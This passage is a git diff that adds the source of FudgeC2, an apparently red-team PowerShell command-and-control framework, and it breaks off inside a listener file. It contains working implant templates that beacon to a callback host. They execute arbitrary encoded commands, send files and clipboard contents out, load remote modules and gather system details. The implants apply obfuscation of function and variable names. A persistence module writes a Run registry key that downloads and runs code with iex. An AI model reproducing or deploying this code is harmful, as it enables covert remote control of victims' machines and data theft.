callback_url = Column(String(255), nullable=False) + description = Column(String(255)) + beacon = Column(INTEGER(10), nullable=False) + initial_delay = Column(INTEGER(10)) + comms_http = Column(INTEGER(1), default=0) + comms_https = Column(INTEGER(1), default=0) + comms_dns = Column(INTEGER(1), default=0) + comms_binary = Column(INTEGER(1), default=0) + obfuscation_level = Column(INTEGER(1), nullable=False) + + +class GeneratedImplants(Base): + __tablename__ = 'generated_implants' + unique_implant_id = Column(INTEGER(16), unique=True, nullable=False, primary_key=True) + last_check_in = Column(INTEGER(16)) + last_check_in_protocol = Column(String()) + current_beacon = Column(INTEGER(16)) + iid = Column(INTEGER(11), ForeignKey("implant_template.iid"), nullable=False, index=True) + generated_title = Column(String(255), nullable=False) + time = Column(INTEGER(16), nullable=False) + implant_copy = Column(String()) + + +class ImplantCommands(Base): + __tablename__ = 'implant_commands' + log_id = Column(INTEGER(11), nullable=False, index=True, primary_key=True) + cid = Column(INTEGER(11), nullable=False, index=True) + uid = Column(INTEGER(11), nullable=False, index=True) + uik = Column(INTEGER(11), nullable=False, index=True) + time = Column(INTEGER(11), nullable=False, index=True) + log_entry = Column(String(255), nullable=False) + read_by_implant = Column(INTEGER(16), nullable=False, server_default=text("0")) + c2_protocol = Column(String(128)) + command_id = Column(String(128)) + + +class ImplantResponse(Base): + __tablename__ = 'implant_response' + log_id = Column(INTEGER(11), nullable=False, index=True, primary_key=True) + cid = Column(INTEGER(11), nullable=False, index=True) + uik = Column(INTEGER(11), nullable=False, index=True) + log_entry = Column(String(255), nullable=False) + time = Column(INTEGER(11), nullable=False, index=True) + command_id = Column(String(128)) + + +class Campaigns(Base): + __tablename__ = 'campaigns' + cid = Column(INTEGER(11), nullable=False, index=True, primary_key=True) + title = Column(String(255), nullable=False, unique=True) + created = Column(INTEGER(11), nullable=False, index=True) + description = Column(String(255)) + + +class CampaignUsers(Base): + __tablename__ = 'campaign_users' + auto_id = Column(INTEGER(11), nullable=False, index=True, primary_key=True) + cid = Column(INTEGER(11), ForeignKey("campaigns.cid"), nullable=False, index=True) + uid = Column(INTEGER(11), nullable=False, index=True) + permissions = Column(INTEGER(1), nullable=False, default=0) + + +class AppLogs(Base): + __tablename__ = 'app_logs' + log_id = Column(INTEGER(16), primary_key=True, index=True, nullable=False) + time = Column(String(), nullable=False) + type = Column(String(255), nullable=False) + data = Column(String(255), nullable=False) + + +class CampaignLogs(Base): + __tablename__ = 'campaign_logs' + auto_id = Column(INTEGER(11), nullable=False, index=True, primary_key=True) + user = Column(INTEGER(8), nullable=False) + campaign = Column(INTEGER(8), nullable=False) + time = Column(INTEGER(32), nullable=False) + log_type = Column(String(32), nullable=False) + entry = Column(String(1024), nullable=False) + + +class HostData(Base): + __tablename__ = "host_data" + auto_id = Column(INTEGER(11), nullable=False, index=True, primary_key=True) + unique_implant_key = Column(INTEGER(), ForeignKey(GeneratedImplants.unique_implant_id)) + ip_address = Column(String()) + + +class Listeners(Base): + __tablename__ = 'listeners' + auto_id = Column(INTEGER(), nullable=False, index=True, primary_key=True) + name = Column(String()) + state = Column(INTEGER()) # This can be removed. + protocol = Column(INTEGER()) + port = Column(INTEGER()) + auto_run = Column(INTEGER()) + + +# -- Generate an empty database if no database is found. +# -- additional checks for file existence would be sensible first + +path = os.getcwd() + "/Storage/" +engine = create_engine(f"sqlite:///{path}/{Settings.database_name}?check_same_thread=False", echo=False) +Base.metadata.create_all(engine) diff --git a/FudgeC2/Implant/Implant.py b/FudgeC2/Implant/Implant.py new file mode 100644 index 0000000..8620645 --- /dev/null +++ b/FudgeC2/Implant/Implant.py @@ -0,0 +1,96 @@ +import ast + +from Implant.ImplantGenerator import ImplantGenerator +from Implant.ImplantFunctionality import ImplantFunctionality + +from Data.Database import Database + + +class ImplantSingleton: + class __OnlyOne: + ImpFunc = ImplantFunctionality() + # -- The Implant class is sole class responsible for controlling data to and from implants. + # -- it manages these interaction across all types of implants and communication protocols. + + def AddCommand(self, user, cid, unique_implant_key, command): + # AddCommand is responsible for creating new entries for implants to pickup. + # User validation checks must occur before a command is registered. + db.implant.Register_ImplantCommand(user, unique_implant_key, command, cid=cid) + + def issue_command(self, UIK=0, c2_protocol=None): + if UIK != 0: + # -- Issue command based on unique implant identifiers (UIK) + # -- UIK is embedded into the implant via Jinja on delivery. + + # TODO: + # BUG: If the X-Header is mangled this errors. + ImplantObj = db.implant.Get_GeneratedImplantDataFromUIK(UIK) + db.implant.Update_ImplantLastCheckIn(ImplantObj['cid'], UIK, c2_protocol) + + for implant in ImplantObj: + ImpLogs = db.implant.Get_RegisteredImplantCommandsFromUIK(ImplantObj['unique_implant_id']) + tmpImpLogs = [] + for x in ImpLogs: + if x.read_by_implant == 0: + tmpImpLogs.append(x) + if len(tmpImpLogs) != 0: + Entry = min(tmpImpLogs, key=lambda x: x.time) + if db.implant.Register_ImplantCommandPickup(Entry, c2_protocol): + # Entry.log_entry is currently cast to a string at this stage. + return ast.literal_eval(Entry.log_entry), Entry.command_id + + # -- Create a suitable null response. + # -- This may be a random value, depending on how the implant handles it. + + return None, None + else: + return None, None + + # -- Used by Implant - Logs command responses from infected machines. + def command_response(self, command_id, raw_command_result, c2_protocol=None): + unique_implant_key = None + command_result, host_data = self.ImpFunc.process_command_response(command_id, raw_command_result) + + # -- End command response processing. + db.implant.Register_ImplantResponse(command_id, command_result, c2_protocol) + + # Once we have updates the command response we will then update the information stored within the + # unique implant key data. + # This data will show things like username etc. + if host_data is not None: + db.implant.update_host_data(unique_implant_key, host_data) + + # -- Used by webapp. + def Get_CommandResult(self, cid): + # -- This trust any calls have already been authenticated/ + # -- May need to move authentication to this level. + return db.implant.Get_CampaignImplantResponses(cid) + + # -- Used by Implant stagers to create a suitable implant based on implant template configuration + def GeneratePayload(self, NewSplicedImplantData): + # -- Refactor code: variable names + checks on types. + ImpGen = ImplantGenerator() + if len(NewSplicedImplantData) == 1: + NewSplicedImplantData = NewSplicedImplantData[0] + rendered_implant = ImpGen.generate_implant_from_template(NewSplicedImplantData) + db.implant.Set_GeneratedImplantCopy(NewSplicedImplantData, rendered_implant) + return rendered_implant + + # TODO: + # create functions for all listener/webapp/stager actions to avoid direct DB + # queries from ImplantManager, HttpListener/HttpsListener etc + + # Register implant submit stager key ( implant template returns a unique implant id aka unique implant key ) + # Implant check in: UII/UIK + protocol checkin occured over + + instance = None + + def __init__(self): + if not ImplantSingleton.instance: + ImplantSingleton.instance = ImplantSingleton.__OnlyOne() + else: + ImplantSingleton.instance.val = arg + + +db = Database() +ImplantSingleton() # Create Singleton diff --git a/FudgeC2/Implant/ImplantFunctionality.py b/FudgeC2/Implant/ImplantFunctionality.py new file mode 100644 index 0000000..1383c36 --- /dev/null +++ b/FudgeC2/Implant/ImplantFunctionality.py @@ -0,0 +1,65 @@ +import ast + +from Implant.implant_core.download_file import DownloadFile +from Implant.implant_core.upload_file import UploadFile +from Implant.implant_core.play_audio import PlayAudio +from Implant.implant_core.enable_persistence import EnablePersistence +from Implant.implant_core.export_clipboard import ExportClipboard +from Implant.implant_core.system_info import SystemInfo +from Implant.implant_core.load_module import LoadModule +from Implant.implant_core.invoke_expression import InvokeExpression +from Implant.implant_core.get_loaded_modules import GetLoadedModules + +from Data.Database import Database + + +class ImplantFunctionality: + def __init__(self): + # get the modules from implant_core + self.module_list = [] + self.module_list.append(DownloadFile()) + self.module_list.append(UploadFile()) + self.module_list.append(PlayAudio()) # non-functional placeholder for 0.6.0 + self.module_list.append(EnablePersistence()) + self.module_list.append(ExportClipboard()) + self.module_list.append(SystemInfo()) + self.module_list.append(LoadModule()) + self.module_list.append(InvokeExpression()) + self.module_list.append(GetLoadedModules()) + + def get_list_of_implant_text(self): + implant_text = [] + for module in self.module_list: + implant_text.append(module.implant_text()) + return implant_text + + def command_listing(self): + command_list = [] + for module in self.module_list: + command_list.append({"type": module.type, + "args": module.args, + "input": module.input + }) + return command_list + + def _get_module_object_by_type_(self, type_str): + + for implant_module in self.module_list: + if implant_module.type == type_str: + return implant_module + + def process_command_response(self, command_entry, raw_command_result): + # Takes a module type value, and the result and passes the raw result to the module process_implant_response + db = Database() + a = db.implant.get_registered_implant_commands_by_command_id(command_entry) + command_entry = ast.literal_eval(a['log_entry']) + host_data = None + response_string = raw_command_result + + implant_module= self._get_module_object_by_type_(command_entry['type']) + if implant_module is not None: + response_string, host_data = implant_module.process_implant_response( + raw_command_result, command_entry['args']) + + # failure checks required. + return response_string, host_data diff --git a/FudgeC2/Implant/ImplantGenerator.py b/FudgeC2/Implant/ImplantGenerator.py new file mode 100644 index 0000000..1ec1458 --- /dev/null +++ b/FudgeC2/Implant/ImplantGenerator.py @@ -0,0 +1,283 @@ +import jinja2 +import string +import random + +from Implant.PSObfucate import PSObfucate +from Implant.ImplantFunctionality import ImplantFunctionality + + +class ImplantGenerator: + # ImplantGenerator has a single public method (generate_implant_from_template) + # which is used to generate a new active implant in the event of a stager + # calling back. Configuration from the implant template is used to determine + # which functionality should be embedded within the active implant. + + ImpFunc = ImplantFunctionality() + + JinjaRandomisedArgs = { + "obf_remote_play_audio": "RemotePlayAudio", + "obf_sleep": "sleep", + "obf_select_protocol": "select_protocol", + "obf_collect_sysinfo": "collect-sysinfo", + "obf_http_conn": "http-connection", + "obf_https_conn": "https-connection", + "obf_dns_conn": "dns-connection", + "obf_create_persistence": "create-persistence", + "obf_builtin_command": "execute-command", + "obf_reg_key_name": "FudgeC2Persistence", + "obf_callback_url": "url", + "obf_callback_reason": "callback_reason", + "obf_get_clipboard": "export-clipboard", + "obf_load_module": "load-ext-module", + "obf_invoke_module": "invoke-module", + "obf_get_loaded_modules": "get-loaded-modules", + "obf_upload_file": "upload-file", + "obf_download_file": "download-file", + "obf_screen_capture": "screen-capture" + } + + old_execute_command = ''' +function {{ ron.obf_builtin_command }}($data){ + $a = $data.Substring(0,2) + $script:command_id = $data.Substring(2,24) + if ($data.Substring(26).length -gt 1){ + $b = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($data.Substring(26))) + } else { + $b = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($data.Substring(26))) + } + if($a -eq "CM"){ + $c = [System.Convert]::ToBase64String([system.Text.Encoding]::Unicode.getbytes($b)) + $Script:tr = powershell.exe -exec bypass -EncodedCommand $c + } elseif($a -eq "SI"){ + {{ ron.obf_collect_sysinfo }} + } elseif ($a -eq "EP"){ + {{ ron.obf_create_persistence }} + } elseif ($a -eq "PS"){ + {{ ron.obf_remote_play_audio }}($b) + } elseif ($a -eq "EC"){ + {{ ron.obf_get_clipboard }} + } elseif ($a -eq "LM"){ + {{ ron.obf_load_module }}($b) + } elseif ($a -eq "IM"){ + {{ ron.obf_invoke_module }}($b) + } elseif ($a -eq "ML"){ + {{ ron.obf_get_loaded_modules }} + } elseif ($a -eq "FD"){ + {{ ron.obf_download_file }}($b) + } elseif ($a -eq "UF"){ + {{ ron.obf_upload_file }}($b) + } elseif ($a -eq "SC"){ + {{ ron.obf_screen_capture }}($b) + } else { + $Script:tr = "0" + } +} +''' + + execute_command = ''' +function {{ ron.obf_builtin_command }}($data){ + $a = $data.Substring(0,2) + $script:command_id = $data.Substring(2,24) + if ($data.Substring(26).length -gt 1){ + $b = [System.Convert]::FromBase64String($data.Substring(26)) + } + + if($a -eq "CM"){ + $c = [System.Convert]::ToBase64String([system.Text.Encoding]::Unicode.getbytes([System.Text.Encoding]::UTF8.GetString($b))) + $Script:tr = powershell.exe -exec bypass -EncodedCommand $c + } elseif($a -eq "SI"){ + {{ ron.obf_collect_sysinfo }} + } elseif ($a -eq "EP"){ + {{ ron.obf_create_persistence }} + } elseif ($a -eq "PS"){ + {{ ron.obf_remote_play_audio }}($b) + } elseif ($a -eq "EC"){ + {{ ron.obf_get_clipboard }} + } elseif ($a -eq "LM"){ + {{ ron.obf_load_module }}([System.Text.Encoding]::UTF8.GetString($b)) + } elseif ($a -eq "IM"){ + {{ ron.obf_invoke_module }}([System.Text.Encoding]::UTF8.GetString($b)) + } elseif ($a -eq "ML"){ + {{ ron.obf_get_loaded_modules }} + } elseif ($a -eq "FD"){ + {{ ron.obf_download_file }}([System.Text.Encoding]::UTF8.GetString($b)) + } elseif ($a -eq "UF"){ + {{ ron.obf_upload_file }}([System.Text.Encoding]::UTF8.GetString($b)) + } elseif ($a -eq "SC"){ + {{ ron.obf_screen_capture }}([System.Text.Encoding]::UTF8.GetString($b)) + } else { + $Script:tr = "0" + } +} +''' + + + http_function = ''' +function {{ ron.obf_http_conn }}(${{ ron.obf_callback_reason }}){ + if ( ${{ ron.obf_callback_reason }} -eq 0 ){ + $URL = "http://"+${{ ron.obf_callback_url }}+":{{ http_port }}/index" + $r = iwr -uri $URL -headers @{"X-Implant" = "{{ uii }}"} -method 'GET' -UseBasicParsing + $Script:headers = $r.Content + + } else { + $URL = "http://"+${{ ron.obf_callback_url }}+":{{ http_port }}/help" + $enc = [system.Text.Encoding]::UTF8 + $data2 = [System.Convert]::ToBase64String($enc.GetBytes(${{ ron.obf_callback_reason }})) + $data2 = $script:command_id+$data2 + $r = iwr -uri $URL -method 'POST' -headers @{"X-Result"= "{{ uii }}"} -body $data2 -UseBasicParsing + $Script:headers = $r.Content + } +} +''' + + https_function = ''' +function {{ ron.obf_https_conn }}(${{ ron.obf_callback_reason }}){ + if ( ${{ ron.obf_callback_reason }} -eq 0 ){ + $URL = "https://"+${{ ron.obf_callback_url }}+":{{ https_port }}/index" + $r = iwr -uri $URL -headers @{"X-Implant" = "{{ uii }}"} -method 'GET' -UseBasicParsing + $Script:headers = $r.Content + } else { + $URL = "https://"+${{ ron.obf_callback_url }}+":{{ https_port }}/help" + $enc = [system.Text.Encoding]::UTF8 + $data2 = [System.Convert]::ToBase64String($enc.GetBytes(${{ ron.obf_callback_reason }})) + $data2 = $script:command_id+$data2 + $r = iwr -uri $URL -method 'POST' -headers @{"X-Result"= "{{ uii }}"} -body $data2 -UseBasicParsing + $Script:headers = $r.Content + } +} +''' + + select_protocol = ''' +function {{ ron.obf_select_protocol }}($b){ + sleep (Get-Random -Minimum (${{ ron.obf_sleep }} *0.90) -Maximum (${{ ron.obf_sleep }} *1.10)) + return get-random($b) +} +''' + + implant_main = ''' +$script:command_id = 0 +{{ obf_variables }} +{% if obfuscation_level == 0 %} +# Implant generated by: +# https://github.com/Ziconius/FudgeC2 +{% endif %} +start-sleep({{ initial_sleep }}) +${{ ron.obf_sleep }}={{ beacon }} +${{ ron.obf_callback_url }} = "{{ url }}" +while($true){ + $plh=0 + $headers = $null + try { + {{ proto_core }} + } catch { + $_.Exception | format-list -Force | Out-Null + } + if (($headers -NotLike "==") -And ($headers -ne $null)){ + {{ ron.obf_builtin_command }}($headers) + + if ($tr -ne "0"){ + $atr = $tr -join "`n" + $plh = $atr + try { + {{ proto_core }} + } catch { + $_.Exception | format-list -Force | Out-Null + } + } + } +} +''' + + def _manage_implant_function_order(self, implant_info, function_list): + # -- This is responsible for randomising the function order within the generated implant. + if implant_info['obfuscation_level'] >= 1: + random.shuffle(function_list) + constructed_base_implant = "" + for implant_function in function_list: + constructed_base_implant = constructed_base_implant + implant_function.rstrip() + constructed_base_implant = constructed_base_implant + self.implant_main + return constructed_base_implant.lstrip() + + def _function_name_obfuscation(self, implant_info, function_names): + if implant_info['obfuscation_level'] >= 2: + for key in function_names.keys(): + letters = string.ascii_lowercase + temp_string = ''.join(random.choice(letters) for i in range(8)) + if temp_string not in function_names.values(): + function_names[key] = temp_string + return function_names + + def _process_modules(self, implant_data, randomised_function_names): + # Add default functions to added to the implant which will be randomised. + core_implant_functions = [ + self.execute_command, + self.select_protocol + ] + + implant_functions = self.ImpFunc.get_list_of_implant_text() + implant_functions.extend(core_implant_functions) + + # Checks which protocols should be embedded into the implant. + if implant_data['comms_http'] is not None: + implant_functions.append(self.http_function) + if implant_data['comms_https'] is not None: + implant_functions.append(self.https_function) + # TODO: These protocols will be delivered in later version of FudgeC2 + # if id['comms_dns'] != None: + # implant_functions.append(self.https_function) + # if id['comms_binary'] != None: + # implant_functions.append(self.https_function) + + constructed_implant = self._manage_implant_function_order(implant_data, implant_functions) + + # Generates the blob of code which will be used to determine which protocol should be selected from. + protocol_string = "" + proto_count = 0 + proto_list = {'comms_http': randomised_function_names['obf_http_conn'], + 'comms_https': randomised_function_names['obf_https_conn'], + 'comms_dns': randomised_function_names['obf_dns_conn']} + + for x in proto_list.keys(): + if implant_data[x] is not 0: + protocol_string = protocol_string + " " + str(proto_count) + " { " + proto_list[x] + "($plh) }\n" + proto_count += 1 + + f_str = 'switch ('+randomised_function_names['obf_select_protocol']+'('+str(proto_count)+') ){ \n'+protocol_string+' }' + return constructed_implant, f_str + + def generate_implant_from_template(self, implant_data): + """ + generate_implant_from_template + - Takes the generated implant info (Generated implants (by UIK) + + _process_modules + - This controls which protocols and additional modules are embedded into the implant. + - Generates the main function multi proto selection + """ + implant_function_names = self._function_name_obfuscation(implant_data, self.JinjaRandomisedArgs) + implant_template, protocol_switch = self._process_modules(implant_data, implant_function_names) + + callback_url = implant_data['callback_url'] + variable_list = "" + if implant_data['obfuscation_level'] >= 3: + ps_ofb = PSObfucate() + variable_list, callback_url = ps_ofb.variableObs(implant_data['callback_url']) + + cc = jinja2.Template(implant_template) + output_from_parsed_template = cc.render( + initial_sleep=implant_data['initial_delay'], + http=12345, + url=callback_url, + http_port=implant_data['comms_http'], + https_port=implant_data['comms_https'], + dns_port=implant_data['comms_dns'], + uii=implant_data['unique_implant_id'], + stager_key=implant_data['stager_key'], + ron=implant_function_names, + beacon=implant_data['beacon'], + proto_core=protocol_switch, + obfuscation_level=implant_data['obfuscation_level'], + obf_variables=variable_list + ) + + return output_from_parsed_template diff --git a/FudgeC2/Implant/PSObfucate.py b/FudgeC2/Implant/PSObfucate.py new file mode 100644 index 0000000..d6f74f9 --- /dev/null +++ b/FudgeC2/Implant/PSObfucate.py @@ -0,0 +1,42 @@ +from random import randint + + +class PSObfucate(): + ascii_letters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' + def __varString__(self): + + a = self.ascii_letters[randint(0, 51)] + b = self.ascii_letters[randint(0, 51)] + c = self.ascii_letters[randint(0, 51)] + d = a + b + c + return d + + + def variableObs(self, variableStr): + go=[] + op="" + for i in range(len(variableStr)): + d=self.__varString__() + go.append('$'+d+'="'+variableStr[i]+'"') + op=op+"$"+d.strip() + + finalStr="" + for gg in range(0,10): + fakechar=self.ascii_letters[randint(0, 51)] + go.append('$' + self.__varString__() + '="' + fakechar + '"') + AssignVariableString="" + while True: + if len(go) == 0: + break + AssignVariableString=AssignVariableString+go.pop(randint(0,len(go)-1))+";" + + return AssignVariableString, op + + + + + + +if __name__ == "__main__": + pso=PSObfucate() + pso.variableObs("NetshPersistenceToken") \ No newline at end of file diff --git a/FudgeC2/Implant/StagersListeners/HttpStagerListener.py b/FudgeC2/Implant/StagersListeners/HttpStagerListener.py new file mode 100644 index 0000000..70027aa --- /dev/null +++ b/FudgeC2/Implant/StagersListeners/HttpStagerListener.py @@ -0,0 +1,32 @@ +from flask import Flask, request + +from Implant.Implant import ImplantSingleton +from Data.Database import Database + +Imp=ImplantSingleton.instance + +db=Database() +app = Flask(__name__) +app.config.from_object(__name__) +# -- TODO: Remove/Randomise all SECRET_KEY values. +app.config['SECRET_KEY'] = '7d441f27d441f27567d441f2b6176a' + +@app.before_request +def before_request(): + # Check IP Whitelist and reject if configured. + return + +@app.after_request +def add_header( r): + #r.headers["X-Command"] = a + return r + +@app.route("/robots.txt",methods=['GET']) +def Stager(): + NewSplicedImplantData = db.implant.Register_NewImplantFromStagerKey(request.values['user']) + if NewSplicedImplantData: + output_from_parsed_template = Imp.GeneratePayload(NewSplicedImplantData) + else: + return "404", 404 + + return output_from_parsed_template \ No newline at end of file diff --git a/FudgeC2/Implant/implant_core/download_file.py b/FudgeC2/Implant/implant_core/download_file.py new file mode 100644 index 0000000..20090ed --- /dev/null +++ b/FudgeC2/Implant/implant_core/download_file.py @@ -0,0 +1,45 @@ +import secrets +import base64 + +from FudgeC2.Storage.settings import Settings + + +class DownloadFile: + type = "FD" + args = "base64 target file" + input = "download_file" + + def process_implant_response(self, data, args): + """print("sub class") + :param data: Byte encoded file + :param filepath: The downloaded file path i.e. C:\Windows\System32\drivers\etc\hosts + :return: None + + File download takes byte encoded data and directly writes it to a randomly named file, returning the + file location. + IN DEV: + Parse filepath for the filename + Check for file extensions + Check if the file exists using SHA1 + Check writing to local file succeeds + Check for filename uniqueness. + """ + + filename = secrets.token_hex(3) + download_file_path = f"{Settings.file_download_folder}downloaded_file_{filename}" + with open(download_file_path, 'wb') as file_h: + + file_h.write(base64.b64decode(data)) + return f"File downloaded: {args}\nFile saved to {download_file_path}", None + + def implant_text(self): + var = ''' +function {{ ron.obf_download_file }} ($b){ + try { + $base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes($b)) + $Script:tr = $base64string + } catch { + Script:tr = "0" + } +}''' + return var diff --git a/FudgeC2/Implant/implant_core/enable_persistence.py b/FudgeC2/Implant/implant_core/enable_persistence.py new file mode 100644 index 0000000..46f2397 --- /dev/null +++ b/FudgeC2/Implant/implant_core/enable_persistence.py @@ -0,0 +1,24 @@ +class EnablePersistence: + # Module notes: + # This needs improvement, it only supports http persistence currently, and requires a restaging. + type = "EP" + args = None + input = "enable_persistence" + + def process_implant_response(self, data, args): + return data.decode(), None + + def implant_text(self): + var = ''' +function {{ ron.obf_create_persistence }}(){ + $abc = "HKCU:/Software/Microsoft/Windows/CurrentVersion/Run/" + $key = Get-Item -LiteralPath $abc -ErrorAction SilentlyContinue + $val = "powershell.exe -c (iex ((New-Object Net.WebClient).DownloadString('http://${{ ron.obf_callback_url }}:{{ http_port }}/robots.txt?user={{ stager_key }}')))" + if ($key.Property -Like "{{ ron.obf_reg_key_name }}"){ + $a = 0; + } else { + New-ItemProperty -Path $abc -Name {{ ron.obf_reg_key_name }} -Value $val -PropertyType "String" + } + $Script:tr = "Enabled" +}''' + return var diff --git a/FudgeC2/Implant/implant_core/export_clipboard.py b/FudgeC2/Implant/implant_core/export_clipboard.py new file mode 100644 index 0000000..190e57c --- /dev/null +++ b/FudgeC2/Implant/implant_core/export_clipboard.py @@ -0,0 +1,20 @@ +class ExportClipboard: + type = "EC" + args = None + input = "export_clipboard" + + def process_implant_response(self, data, args): + if data.decode() == "2": + return "Clipboard is empty (Or contained only '2')", None + else: + return data.decode(), None + + def implant_text(self): + var =''' +function {{ ron.obf_get_clipboard }}() { + $b = "Text" + $a = Get-Clipboard -Format $b + if ($a -ne $null ){$Script:tr = $a} + else {$Script:tr = "2"} +}''' + return var diff --git a/FudgeC2/Implant/implant_core/get_loaded_modules.py b/FudgeC2/Implant/implant_core/get_loaded_modules.py new file mode 100644 index 0000000..a1bf667 --- /dev/null +++ b/FudgeC2/Implant/implant_core/get_loaded_modules.py @@ -0,0 +1,14 @@ +class GetLoadedModules: + type = "ML" + args = None + input = "list_modules" + + def process_implant_response(self, data, args): + return f"Module listing: \n{data.decode()}", None + + def implant_text(self): + var = ''' +function {{ ron.obf_get_loaded_modules }} () { + $Script:tr = Get-Command | Where {$_.Source -Like "FC2"} +}''' + return var diff --git a/FudgeC2/Implant/implant_core/invoke_expression.py b/FudgeC2/Implant/implant_core/invoke_expression.py new file mode 100644 index 0000000..5441be2 --- /dev/null +++ b/FudgeC2/Implant/implant_core/invoke_expression.py @@ -0,0 +1,16 @@ +class InvokeExpression: + # Module notes: + # IM should be renames to IE, after initial testing. + type = "IM" + args = "Module name" + input = "exec_module" + + def process_implant_response(self, data, args): + return f"Exec'ing module: {args}\n{data.decode()}", None + + def implant_text(self): + var = ''' +function {{ ron.obf_invoke_module }} ($data) { + $Script:tr = invoke-expression "$data" +}''' + return var diff --git a/FudgeC2/Implant/implant_core/load_module.py b/FudgeC2/Implant/implant_core/load_module.py new file mode 100644 index 0000000..ebdeac2 --- /dev/null +++ b/FudgeC2/Implant/implant_core/load_module.py @@ -0,0 +1,21 @@ +class LoadModule: + type = "LM" + args = "name of powershell module on server" + input = "load_module" + + def process_implant_response(self,data, args): + return f"Load module: {data.decode()}", None + + def implant_text(self): + var = ''' +function {{ ron.obf_load_module }} ($data) { + $b = $data + $data = $b -split '::', 2 + $name = $data[0].Replace(" ","") + $bgt = $data[1] + $b = [ScriptBlock]::Create($bgt) + New-Module -ScriptBlock $b -Name $name -Verbose | Import-Module + $Script:tr = Get-Command -Module $name -Verbose +}''' + return var + diff --git a/FudgeC2/Implant/implant_core/play_audio.py b/FudgeC2/Implant/implant_core/play_audio.py new file mode 100644 index 0000000..beea62b --- /dev/null +++ b/FudgeC2/Implant/implant_core/play_audio.py @@ -0,0 +1,39 @@ +class PlayAudio: + type = "PS" + args = "Local sound file location" + input = "play_audio" + + def process_implant_response(self, data, args): + return f"Audio success: {args}", None + + def implant_text(self): + var = ''' +function {{ ron.obf_remote_play_audio }}($data){ + if ($data.length -lt 4){ + $Script:tr = "1" + } + $file = "dev_temp_name" + $t = "$env:TMP/$file.mp3" + $data | Set-Content "$t" -encoding Byte -NoNewLine + + Function Set-Speaker($Volume){$wshShell = new-object -com wscript.shell;1..50 | % {$wshShell.SendKeys([char]175)}} + Set-Speaker -Volume 50 + + Add-Type -AssemblyName presentationCore + $mediaPlayer = New-Object system.windows.media.mediaplayer + $mediaPlayer.Volume = 1 + $mediaPlayer.Open("$t") + $duration = 2 + $duration = $duration + $mediaPlayer.NaturalDuration.TimeSpan.TotalSeconds + $mediaPlayer.Play() + #$duration = $mediaPlayer.NaturalDuration.TimeSpan.TotalSeconds + sleep($duration) + $mediaPlayer.Close() + Remove-Item -Confirm:$false "$t" + $Script:tr = "Audio success." + return +} + + +''' + return var diff --git a/FudgeC2/Implant/implant_core/screen_capture.py b/FudgeC2/Implant/implant_core/screen_capture.py new file mode 100644 index 0000000..a1633dd --- /dev/null +++ b/FudgeC2/Implant/implant_core/screen_capture.py @@ -0,0 +1,19 @@ + +class ScreenCapture: + type = "SC" + args = "base64 target file" + input = "screenshot" + + def process_implant_response(self, data, args): + return "Screen capture: In dev.", None + + def implant_text(self): + var = ''' +function {{ ron.obf_screen_capture }} ($b){ + try { + $Script:tr = "1" + } catch { + Script:tr = "0" + } +}''' + return var diff --git a/FudgeC2/Implant/implant_core/system_info.py b/FudgeC2/Implant/implant_core/system_info.py new file mode 100644 index 0000000..77d704f --- /dev/null +++ b/FudgeC2/Implant/implant_core/system_info.py @@ -0,0 +1,24 @@ +class SystemInfo: + type = "SI" + args = None + input = "sys_info" + + def process_implant_response(self, data, args): + split_data = data.decode().split("\n") + print(split_data) # This should be a list of 4 items based on the below response. + # Username: Kris + # Hostname: DESKTOP - SUMPM3F + # Domain: WORKGROUP + # Local IP: 192.168.2.130 + return data.decode(), None + + def implant_text(self): + var = ''' +function {{ ron.obf_collect_sysinfo }}(){ + $h = hostname + $d = (Get-WmiObject -Class Win32_ComputerSystem).Workgroup + $a = (Test-Connection -ComputerName (hostname) -Count 1).IPV4Address + $final_str = "Username: "+$env:UserName+"`nHostname: "+$h+"`nDomain: "+$d+"`nLocal IP: "+$a + $Script:tr = $final_str +}''' + return var diff --git a/FudgeC2/Implant/implant_core/upload_file.py b/FudgeC2/Implant/implant_core/upload_file.py new file mode 100644 index 0000000..d0b947f --- /dev/null +++ b/FudgeC2/Implant/implant_core/upload_file.py @@ -0,0 +1,26 @@ +class UploadFile: + type = "UF" + args = "locale-file-name.txt destination_location\\filename.txt" + input = "upload_file" + + def process_implant_response(self, data, args): + if data.decode() == "2": + return "File upload error.", None + else: + return f"Successfully uploaded: {args}", None + # Host data should return a file upload reference not None in future + + def implant_text(self): + var = ''' +function {{ ron.obf_upload_file }} ($b) { + try { + $c = $b.split("::") + $fn = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($c[0].ToString())) + $fc = [System.Convert]::FromBase64String($c[2].ToString()) + $fc | Set-Content "$fn" -encoding Byte -NoNewLine + $script:tr = 1 + } catch { + $script:tr = 0 + } +}''' + return var diff --git a/FudgeC2/Listeners/HttpListener.py b/FudgeC2/Listeners/HttpListener.py new file mode 100644 index 0000000..7a4bef2 --- /dev/null +++ b/FudgeC2/Listeners/HttpListener.py @@ -0,0 +1,167 @@ +from flask import Flask, request +import base64 +from uuid import uuid4 +import os + +from Implant.Implant import ImplantSingleton +from Data.Database import Database + +Imp = ImplantSingleton.instance +db = Database() + +app = Flask(str(uuid4())) +app.config['SECRET_KEY'] = str(uuid4()) + + +# Adding the functions which manage encoding built in commands for transfer +def craft_sound_file(value_dict, command_id): + path = f"{os.getcwd()}/Storage/implant_resources/{value_dict['args']}" + with open(path, 'rb') as file: + audio = base64.standard_b64encode(file.read()).decode() + final_audio = f"{value_dict['type']}{command_id}{audio}" + return final_audio + + +def craft_powershell_native_command(args, command_id): + a = base64.b64encode(args['args'].encode()).decode() + b = args['type']+command_id + a + return b + + +def craft_file_upload(value_dict, command_id): + # Temp dev work: + arg_dict = value_dict['args'].split(" ") + local_file = arg_dict[0] + target_location = arg_dict[1] + with open (os.getcwd()+"/Storage/implant_resources/"+local_file, 'rb') as file_h: + a = file_h.read() + b = base64.b64encode(a).decode() + final_str = base64.b64encode(target_location.encode()).decode()+"::"+b + final_str = base64.b64encode(final_str.encode()).decode() + cc = str(value_dict['type'] + command_id) + final_str + return cc + + +def craft_file_download(value_dict, command_id): + encoded_target_file = base64.b64encode(value_dict['args'].encode()).decode() + to_return = f"{value_dict['type']}{command_id}{encoded_target_file}" + return str(to_return) + + +def craft_enable_persistence(value_dict, command_id): + return str(value_dict['type'] + command_id) + + +def craft_sys_info(value_dict, command_id): + return str(value_dict['type'] + command_id) + + +def 